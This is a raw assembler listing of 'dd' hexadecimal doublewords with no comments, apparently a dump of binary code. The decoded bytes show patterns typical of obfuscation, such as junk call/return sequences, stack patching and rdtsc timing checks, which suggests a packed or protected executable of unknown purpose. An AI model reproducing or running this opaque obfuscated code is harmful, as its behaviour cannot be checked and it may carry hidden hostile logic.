dd 1Ah, 84C35343h, 223E5005h, 0DEBFD873h, 0FF0CD0D8h, 72B8995h
dd 13FE906h, 9E90000h, 0C7000000h, 798A748Bh, 0E130B43h
dd 0BD8B00B0h, 60706C9h, 0BD8B70E6h, 6072C79h, 0DF98D89h
dd 71E40607h, 3CF9B70Fh, 0E830F61h, 89000001h, 720519Dh
dd 0C8B60F06h, 6BAh, 0B9666000h, 8F0F27B0h, 6, 860Fh, 8B610000h
dd 0F88B60C1h, 71C08166h, 0E8C16122h, 0BE904h, 0A62F0000h
dd 81D3862Fh, 3671BBD5h, 0E2F7661Ch, 0AB1BD33h, 0C82B0607h
dd 0C5DBD89h, 0D18B0607h, 68C0Fh, 0BD010000h, 60721A1h
dd 0ACE9h, 38DB8000h, 4C44858Bh, 9D0B5F4Ch, 6071005h, 8307C083h
dd 10E800C0h, 3A000000h, 20D1A785h, 0AE6B6D99h, 0C5AE8610h
dd 891538FCh, 7131195h, 0D03B5B06h, 0E830Fh, 8B660000h
dd 6BE9F9h, 9D8B0000h, 6070B65h, 0FFFF8D8Bh, 7E9FFFFh
dd 0BC000000h, 360C10D4h, 870F2281h, 6, 6E98529h, 0E1830607h
dd 3E840F01h, 83000000h, 0FFFFFFA5h, 8589FEFFh, 6070CC5h
dd 4C449589h, 12E85F4Ch, 0F4000000h, 7F463877h, 0F41F6E79h
dd 57648579h, 0AEFBC577h, 0BD8B6020h, 60727F5h, 12699D29h
dd 5B610607h, 0E9h, 0FEB58D00h, 8B060B6Ch, 713C1BDh, 0B3006A06h
dd 6995FFCCh, 6A06070Dh, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0DB56C352h, 0B94615F4h
dd 0EB8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Bh, 7AC35646h, 281FF282h, 83C463B8h, 8531FCE1h, 6072095h
dd 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0C75829BEh, 0B8DFh, 7E90000h, 0D6000000h
dd 0AB3CF8FAh, 0D22B1944h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 0D4C35141h, 0C233AD0Fh, 0D003E8D1h, 7504E983h
dd 31B529F4h, 8B060728h, 711A99Dh, 51006A06h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 4EF80CD2h
dd 0DA8B1C9Ch, 880Dh, 0BDBD0300h, 8B060705h, 71AD995h
dd 0AE906h, 75880000h, 882A3617h, 0AA02F8A0h, 101D8D8Bh
dd 0B5890607h, 60720BDh, 8BC28B50h, 8BC10318h, 0D1C18B18h
dd 8BC203E8h, 0B5895818h, 6072291h, 0D38104B3h, 28D1ACABh
dd 8D0F60h, 8B000000h, 7234985h, 0BD836106h, 6070E29h
dd 21840F00h, 29000000h, 711E59Dh, 0B806h, 0BD030000h
dd 6071881h, 4B9B8D8Dh, 4CB30607h, 0BD89E1FFh, 60701EDh
dd 3305BD83h, 0F000607h, 45684h, 83FC8A00h, 73305BDh, 840F0106h
dd 462h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 16h, 0AAC35040h, 0BD8348D9h, 6073305h, 1860F03h, 8B000004h
dd 71911BDh, 0B5015106h, 60706ADh, 6A605Fh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 40BF68C3h
dd 4A2144F3h, 0D98C66EDh, 0E1B52B60h, 0E8060713h, 6, 7985EC36h
dd 5E538A14h, 0E180615Ah, 26BF6604h, 0FC90AB8h, 14584h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 51BD891Fh, 8B060726h, 72A1D85h, 0ED9D0B06h
dd 33060732h, 71AFD85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1604h, 0C3514100h, 8923DB03h, 7064D9Dh, 66579006h
dd 5F4824BBh, 2890F50h, 8A000000h, 575090DDh, 819B589h
dd 5F5B0607h, 0B1BD0357h, 5F060713h, 22B3006Ah, 19519509h
dd 4A680607h, 0E886252Eh, 0Dh, 0BB8AEE0Ch, 23ED56FCh, 3B1F7B92h
dd 0F525042h, 4CB2BF31h, 585A41F8h, 2404815Fh, 79F9D5B5h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 19C35141h
dd 0EDDE2359h, 0E652F1Bh, 6820Fh, 0BD2B0000h, 60703E9h
dd 8B66DE8Ah, 0F995FFD9h, 0F060709h, 2085h, 14E800h, 0F880000h
dd 6599A8A4h, 0EFE27CC8h, 0D18ABC08h, 0E0CEE74Dh, 820F3D36h
dd 0
dd 0DF85895Bh, 89060AADh, 722D98Dh, 224E906h, 6A0000h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 0E09FA3C3h, 0C65BD33h, 858B0607h, 60AADD7h, 0CE8h, 59330000h
dd 0E1B1C535h, 530B03E0h, 0D1BD0327h, 5B06071Ah, 1800C7h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
dd 57470000h, 0C3386AC3h, 3F52A4A9h, 0DBB58B7Ch, 0F060AADh
dd 887h, 0EB815700h, 677C654Bh, 0CD858B5Bh, 6A06072Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0FC40C350h, 816650E5h, 5F2E1BCBh, 6A0689h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
dd 48E2BC3h, 2A1D858Bh, 6A0607h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 7A4372C3h, 0FF9E2AF4h
dd 976641Eh, 722D195h, 0A5BD0306h, 89060723h, 8D010446h
dd 6071F9Dh, 50DE8B96h, 6696D98Bh, 0FF8D3DBFh, 0AADD7B5h
dd 699D8B06h, 0E8060703h, 4, 1F03FFh, 14E860h, 1FB00000h
dd 57496BC6h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh, 6160F147h
dd 9A4FB859h, 506141BDh, 310F5250h, 5AF88B66h, 24448B58h
dd 0E9008B04h, 9, 5F12DCABh, 254BCE60h, 24448909h, 0BF525004h
dd 7F7926Eh, 6660310Fh, 5A61DE8Bh, 6A5858h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B2374C3h
dd 0CE9h, 0FBA3EE00h, 80DBC2DCh, 0F47B71E6h, 38C0F75h
dd 0F000000h, 858DFAB7h, 60AADDFh, 0BE8h, 0AB183E00h, 6408C90h
dd 0D0D7C928h, 114D9D8Bh, 905F0607h, 0FA8B5250h, 8B66310Fh
dd 50585ADEh, 5690D98Bh, 0DD19D03h, 0FF5B0607h, 709F995h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 567D1CBEh, 0B11ADB6Ch, 659D0953h, 5F060705h
dd 9122C781h, 0F6173A0h, 481h, 9BBB6600h, 1858961h, 0C7060707h
dd 7330585h, 306h, 0A9BD8B00h, 8306070Ah, 0AADDFBDh, 840F0006h
dd 34h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh
dd 9CC35646h, 0A4533AB1h, 2911992Ch, 70685BDh, 21E906h
dd 0B5890000h, 60704B1h, 110C3050h, 1114400h, 3010E8C1h
dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh
dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 16042444h, 47000000h, 49C7C357h, 0DA8B662Bh
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 97C35545h
dd 0F3801222h, 319D898Fh, 83060707h, 73305BDh, 850F0306h
dd 456h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 15h, 0C1C35545h, 0DFBD8333h, 60AADh, 42C840Fh, 6A0000h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 89B2C7C3h, 7283DB5h, 0DFB5FF06h, 6A060AADh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 8040C356h, 5810F95h, 66000000h, 8F77CB81h, 212995FFh
dd 0BD010607h, 6072C61h, 0B7DB529h, 0B58B0607h, 60AADD3h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0C8C35343h
dd 8654FC81h, 1B4108FAh, 106C7F9h, 80000100h, 5050BCD7h
dd 0EE852h, 0CA930000h, 36C690C5h, 6764958Bh, 8D3CDA0Eh
dd 4494BF66h, 60310F5Fh, 5B0DBA66h, 89585A61h, 6A2434h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
dd 8774C6C3h, 0AB67F792h, 12F9BD89h, 12B70607h, 0ADDFB5FFh
dd 830F060Ah, 6, 11E5BD03h, 8D890607h, 6071DA5h, 25195FFh
dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 2BAF58C3h, 71F259Dh, 0D3B58B06h, 6A060AADh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 2FEEC350h, 5DBD23h, 12E90607h, 0BF000000h
dd 8FD489FFh, 64068461h, 9ABBE8DEh, 1850440h, 0A1858B45h
dd 66060712h, 0D965E381h, 0C48689h, 9D290000h, 6071019h
dd 296DBD8Bh, 958B0607h, 6071AD9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 9FC35141h, 60FBBF0Fh, 81BD8B60h
dd 0F06072Dh, 0F61D0BFh, 8361F3BFh, 0BD8B04C2h, 60719B9h
dd 0EA5ABB66h, 6A205089h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 7F49C350h, 3EEB702h
dd 787820BFh, 70858D0Bh, 6A060AC1h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 874DC355h
dd 6E8h, 0DB640900h, 0E9F04AD2h, 14h, 818377A5h, 7AA451E5h
dd 7808FBAFh, 0F415B268h, 827294FFh, 0B886895Fh, 0E8000000h
dd 11h, 5C0D3FA9h, 0DF7E0FE2h, 0ADC1230Ah, 0A458C0FCh
dd 6C14BB53h, 895F736Dh, 72F0D9Dh, 66006A06h, 0FF7AC6BFh
dd 0AADDFB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1B04h, 0C3574700h, 45C10BD9h, 8779D693h, 0A3E8DF81h
dd 95FF4883h, 6070791h, 9614CB80h, 6050FE8Bh, 6E8CB8Bh
dd 77000000h, 0F8AA31FFh, 0EE9CCh, 68C30000h, 5B165B57h
dd 977028C7h, 0C63E0C98h, 0E996615Ah, 0Ch, 8CD25DD4h, 4E1C018Ah
dd 0FF59CD98h, 0ADDFB5FFh, 8589060Ah, 6071DDDh, 2D0995FFh
dd 0B5290607h, 6070BEDh, 1EDDB589h, 0BD830607h, 60714C1h
dd 34840F00h, 89000000h, 722BD8Dh, 0D88A5006h, 6A243489h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 5467C350h, 4E331F03h, 0CD9D8BA5h, 0FF060725h
dd 0AADDFB5h, 95FFF906h, 6071F95h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 19h, 86C35040h, 0C8B1BAC1h, 0DFB5FF88h
dd 6A060AADh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0B814C356h, 0FE0CD82Fh, 0EFA4240Ch
dd 2C195FFh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0C107C7C3h, 0BD83BAA9h, 6072865h
dd 3F840F02h, 8B000000h, 70E6985h, 68ACBB06h, 0C65E14h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h
dd 0C3574700h, 2845F40Bh, 0F6ADF1Eh, 984h, 3870F00h, 0F000000h
dd 85C7FBBFh, 6072A51h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 5AC35242h
dd 0ABE971C7h, 6AFFFFF3h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 0F760C352h, 3FCB81A5h
dd 0F625D6Bh, 682h, 0A99D8B00h, 8B060708h, 25B589C1h, 8D060710h
dd 718B185h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1904h, 0C3564600h, 0C9817FDEh, 8D895DEEh, 6072ACDh
dd 5090D88Bh, 55BF6652h, 66310F25h, 5A1177BFh, 6E85058h
dd 6000000h, 0E3D5397Fh, 5FE6B341h, 558D8990h, 6A06070Dh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 0F92DD0C1h, 0AE8h, 598B1A00h, 58A516DDh
dd 0F578C253h, 85D7805Bh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 84B322C3h, 0FAA3858Dh
dd 8953060Bh, 72285B5h, 0C0835F06h, 55006A05h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 3408579Fh
dd 9D85017Eh, 90060713h, 0BE960h, 0C5C90000h, 3F75201Dh
dd 0F2B6AE79h, 9050612Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 8B570AC3h, 712119Dh
dd 0D88A5F06h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1A0424h, 53430000h, 0A5E1DCC3h, 0AD4FDFE9h, 0FFFA8B66h
dd 71E3D95h, 870F6006h, 0
dd 1FDD9D89h, 8D610607h, 0A93D58Dh, 6850F06h, 89000000h
dd 70FD59Dh, 6AD1FF06h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 17042444h, 40000000h, 0F77DC350h, 0BD8B3A18h
dd 6072AD9h, 26459D8Bh, 0BD830607h, 60719BDh, 8B850F01h
dd 0F000000h, 1782h, 9E86000h, 0E8000000h, 4FCE1C81h, 0B5419A22h
dd 830F59h, 61000000h, 0E960026Ah, 10h, 0E8A65E18h, 1AF1F513h
dd 8506D78Fh, 0BB096EFBh, 506119B2h, 4895B52h, 50006A24h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 991B0731h, 667D61A6h, 8EB0DB81h, 79195FFh, 6A0607h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
dd 538E00C3h, 6BE9F88Bh, 0E800000Dh, 0
dd 0ADED815Dh, 51060BFAh, 0E5B5BB66h, 91BD8B5Bh, 8D06070Fh
dd 0A843F85h, 65858906h, 90060723h, 50DE8B66h, 8988E2BFh
dd 6A907Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 58C6FAC3h, 171D12BAh, 2365BD8Bh, 81660607h
dd 6426E6CBh, 35FFh, 64FC0000h, 2589h, 9D8B0000h, 6071519h
dd 2F5985FFh, 0BE90607h, 3D000000h, 176D8D1Fh, 29582B5Eh
dd 0FF6A1AE2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Ch, 3CC35747h, 8C63404Fh, 79F76425h, 0C22BCF81h, 0DB815867h
dd 705F4AF8h, 469B5FFh, 0BF0F0607h, 8995FFD9h, 0E906072Bh
dd 148h, 4DB7BA60h, 0BB663168h, 0B061D640h, 2B70E600h
dd 72D059Dh, 0F71E406h, 58Ah, 0CB816600h, 613C6E8Dh, 11E830Fh
dd 5E90000h, 54000000h, 2B31AEFAh, 0FC8B60Fh, 0E8Ah, 858B6000h
dd 6070A7Dh, 129D8D23h, 8B610607h, 700299Dh, 6BA06h, 0B70F0000h
dd 0D9BF0FDEh, 9D29C18Bh, 6070EDDh, 0E904E8C1h, 12h, 0E10109E4h
dd 0B43F5A50h, 28F816A6h, 2FEAE15Bh, 9501213Ah, 6072031h
dd 1E2F766h, 71E619Dh, 0D9BF0F06h, 8B66C82Bh, 0FD18BFEh
dd 84h, 6800F00h, 81000000h, 0A262C0F7h, 9AE961h, 9D8B0000h
dd 60725CDh, 4C50858Bh, 8C0F4755h, 3, 83F9BF0Fh, 816607C0h
dd 83C8E4EFh, 0BD8B00C0h, 60725CDh, 5A1CD781h, 0D03B1F49h
dd 10830Fh, 81660000h, 0E9F337EFh, 5Ch, 1F6DBD8Bh, 8D8B0607h
dd 0FFFFFFFFh, 14E9h, 0DD6E4700h, 0F706A9C5h, 1D90C27Bh
dd 98F5481Dh, 66FE26DAh, 1E18321h, 2E840Fh, 5AB70000h
dd 0FFFFA583h, 8BFEFFFFh, 509589FEh, 6047554Ch, 6820Fh
dd 0E2810000h, 7CDD8FA4h, 5E9h, 6E406400h, 0E961F380h
dd 0
dd 7BB6B58Dh, 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 8C6E94C3h, 8BF40AC6h, 72D819Dh
dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 17042444h, 41000000h, 0ECADC351h, 95FFC62Ah, 6070D69h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 34C35040h
dd 7F681BD8h, 6810Fh, 0B5890000h, 6072211h, 10D8B9h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h
dd 0DA8BED8Eh, 0E911ABD7h, 10h, 503F560Eh, 0D4675A68h
dd 8A8CD25Dh, 984E1C01h, 6AFCE183h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 0B50BC357h
dd 22AD9D8Bh, 0FFC0607h, 0B8FEBFh, 8B000000h, 702B5BDh
dd 66D22B06h, 0AD7658BBh, 0E8D1C233h, 0E983D003h, 8BF47504h
dd 71F159Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1504h, 0C3574700h, 13E9051Fh, 40000000h, 0EAC15688h
dd 0ED08F60Fh, 74DBD695h, 0B6057ADAh, 880DDD9Fh, 89000000h
dd 71EB58Dh, 0D9958B06h, 6006071Ah, 28FDBD89h, 0ACBA0607h
dd 614F8190h, 101D8D8Bh, 0BF660607h, 8B508D9Dh, 3188BC2h
dd 8B188BC1h, 3E8D1C1h, 58188BC2h, 6A6DC380h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
dd 47FCC356h, 0FF728BC5h, 83CE0582h, 70E29BDh, 840F0006h
dd 70h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h
dd 77C35545h, 0F9005C4Bh, 6820F60h, 0F000000h, 88h, 0B861FC00h
dd 0
dd 52FB8B66h, 2B79BD2Bh, 8D5B0607h, 74B9B8Dh, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 4993E6B2h, 8D0FE1FFh, 4, 5B616056h, 3305BD83h, 0F000607h
dd 3E984h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1D04h, 0C3554500h, 0C4BF4CCEh, 0AF8C0D6Fh, 870F10BDh
dd 5, 0FFD78057h, 5BD835Bh, 1060733h, 3C7840Fh, 6A0000h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 127CD8C3h, 5A203C3Fh, 8DBD292Fh, 8306070Eh, 73305BDh
dd 860F0306h, 35Bh, 2C59D8Bh, 31600607h, 720218Dh, 68C0F06h
dd 8B000000h, 71AC9BDh, 0D98C6606h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 8BC35747h, 0FADC1301h, 0E180E566h
dd 0DA8B6604h, 2A599D8Bh, 0C90A0607h, 99840Fh, 0BF660000h
dd 858B1FFDh, 6072A1Dh, 1AFD8533h, 0BF0F0607h, 48950F9h
dd 0F98B6624h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1A0424h, 57470000h, 5B2CFEC3h, 3B01E315h, 0A60ABB66h
dd 68C0Fh, 9D8B0000h, 6071165h, 24D99F68h, 0DA8B66F2h
dd 60240481h, 890DFA2Ah, 725FD85h, 0F995FF06h, 89060709h
dd 719219Dh, 0DF858906h, 0E8060AADh, 0Ch, 0C1ABA71Fh, 274D91E5h
dd 0EBD57178h, 22A99531h, 0E95B0607h, 1D9h, 0A1F0CF81h
dd 8BF547DAh, 0AADD785h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 4243BA0Bh, 359D8B3Ah
dd 0C7060722h, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1C04h, 0C3574700h, 0CEE51CC6h, 0E2F02B76h
dd 13EB81DBh, 8B1F6FD3h, 0AADDBB5h, 95896006h, 6070569h
dd 0DE9h, 0A309E600h, 52F717BCh, 3C52BB60h, 0F612045h
dd 858BDABFh, 6072BCDh, 8B660689h, 0EE9FAh, 2ABD0000h
dd 195A324Dh, 44025A95h, 2E7C34D6h, 2A1D858Bh, 89FC0607h
dd 6A0446h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 20ADBDC3h, 0D991D965h, 0EF79EF81h, 0EE91522h
dd 56000000h, 0F34A67F0h, 3CD26DB6h, 0A5CE12C5h, 0BF50F8C0h
dd 76AAFF7Bh, 6A243489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 16042444h, 46000000h, 44E3C356h, 0D7B5FF91h
dd 8B060AADh, 722CD9Dh, 0D1BD8B06h, 6806071Fh, 52670461h
dd 81F98B66h, 79E2434h, 6A5278h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 47C55BC3h, 0BF668EB4h
dd 858D5444h, 60AADDFh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 0C35040h, 8B603F70h, 703ADBDh, 0B58B6006h
dd 6072A41h, 6161D38Bh, 11E890h, 22860000h, 0FF28EC2Bh
dd 9E8770B8h, 16E28D32h, 5B167D5Ch, 0FB8B6650h, 0FFDD8A90h
dd 709F995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1D04h, 0C3524200h, 0AE7ABDE9h, 7C8214B1h, 0B70F567Ch
dd 9E961DFh, 54000000h, 0EA1002EEh, 85781BC8h, 330585C7h
dd 30607h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 160424h, 51410000h, 145DCEC3h, 0EF59D8Bh, 0BD830607h
dd 60AADDFh, 54840F00h, 6A000000h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 9856C355h
dd 8B94F381h, 8E0F4936h, 6, 0AB1B501h, 3BE90607h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 4508C356h, 50FA8BE4h, 110C30h, 0C1011144h
dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h, 305036EBh
dd 64001104h, 0E8C10111h, 11443010h, 11640002h, 0E9835803h
dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
dd 4300111h, 4E98311h, 0EBE775h, 6AC08Bh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 180424h, 55450000h, 0B81F42C3h
dd 8D89A010h, 607091Dh, 6880Fh, 0BD890000h, 60705B5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 9C35343h, 0E6A0B61Ch
dd 6810F11h, 8B000000h, 73029BDh, 5BD8306h, 3060733h, 47B850Fh
dd 85890000h, 60702C5h, 0ADF5BF66h, 0ADDFBD83h, 0F00060Ah
dd 46484h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1404h, 0C3514100h, 0DFEB816Ah, 0FF54B751h, 0AADDFB5h
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 8D895680h, 0CA163827h, 212995FFh, 0B58B0607h
dd 60AADD3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 0B8C35646h, 846F05EDh, 0BDDA4904h, 11FD9589h, 6C70607h
dd 10001h, 8B50DA8Bh, 243489D8h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 9CC35343h, 4DAD58DFh, 29181CEBh
dd 0B70F50A2h, 0B5FF5BD9h, 60AADDFh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Ah, 0A4C35343h, 0D1F4377Fh, 0BD8B0F77h
dd 6070AD5h, 9199D8Bh, 95FF0607h, 6070251h, 8BFB8B66h
dd 0AADD3B5h, 599D2906h, 80060711h, 858B19DFh, 60712A1h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0E7C35747h
dd 0D98B66F2h, 0C48689h, 95890000h, 6070C79h, 1AD9958Bh
dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
dd 56460000h, 5D56ECC3h, 837F286Ch, 6A04C2h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0DE9B3C3h
dd 13000000h, 40719D45h, 0F9B438B5h, 0BEFDC2F6h, 6A205089h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 0CF6FC357h, 0D02B16EBh, 8DD1AB17h, 0AC17085h
dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 0F761A067h, 8BE18A6Ch, 8976B77Eh, 0B886h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 69E82CE5h, 6A006ACAh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8921C352h
dd 725B1B5h, 0C7816606h, 0B5FF61F3h, 60AADDFh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0A0C35343h, 7CBE9585h
dd 9195FF18h, 6A060707h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 0F76EC355h, 4DB61353h
dd 0F7C00186h, 8EE78166h, 5250961Dh, 8B66310Fh, 50585AF8h
dd 2820F60h, 8B000000h, 669661F9h, 0FF343EBBh, 0AADDFB5h
dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 584A4A6Ch, 0C799D8Bh, 9D8B0607h, 6070675h
dd 2D0995FFh, 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 68E000C3h, 14E8C60Ah, 95000000h
dd 6ACD3BC0h, 0E3DF2D14h, 8145BF53h, 542B0A57h, 0FB5FE67h
dd 295FFFB7h, 707D9B5h, 1DBD8B06h, 8306070Fh, 714C1BDh
dd 840F0006h, 10h, 0B213EB81h, 895009D7h, 95892434h, 6071F81h
dd 0ADDFB5FFh, 0BF66060Ah, 5E81FDBh, 45000000h, 2C067C4Ch
dd 6880Fh, 9D890000h, 60729E9h, 9595FF5Bh, 6A06071Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 1E92C351h, 42BA2801h, 0FE48ECBh, 0C86h, 7E900h, 0BD900000h
dd 0D36315DBh, 0DFB5FFCCh, 8B060AADh, 710E59Dh, 0C195FF06h
dd 6A060702h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 92A8C355h, 34D1B342h, 9DB531h
dd 0BD830607h, 6072865h, 54840F02h, 66000000h, 8BF5DA8Bh
dd 70E6985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1504h, 0C3514100h, 8D0F67BAh, 6, 14E59D8Bh, 0C60607h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h
dd 0C3554500h, 0C7497C45h, 72A5185h, 6, 51006A00h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
dd 6381D9B5h, 8B66531Fh, 0F33CE9DEh, 9E9FFFFh, 0EE000000h
dd 2C273152h, 4B59F1B2h, 0BE9C18Bh, 64000000h, 9D6E07CEh
dd 0B0D6686Ch, 858DB75Ch, 60718B1h, 23459D33h, 0BB900607h
dd 0BE46458h, 6A9050h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 180424h, 53430000h, 0F6286DC3h, 0F78043A3h, 3840FF9h
dd 66000000h, 6AFA8Bh, 2C558529h, 6A0607h, 0BD8B89B3h
dd 6071E39h, 9F1858Dh, 0B529060Ch, 60709EDh, 9005C083h
dd 9050D98Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 0DEC35545h, 0F38137B4h, 7044B1A6h, 8B5B589h, 6A0607h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 9AC35242h
dd 3E4C1F76h, 0FD9D0906h, 6A060725h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1B04h, 0C3524200h, 988D6074h
dd 0DCEC3FC2h, 2A559D8Bh, 95FF0607h, 6071E3Dh, 0E856006Ah
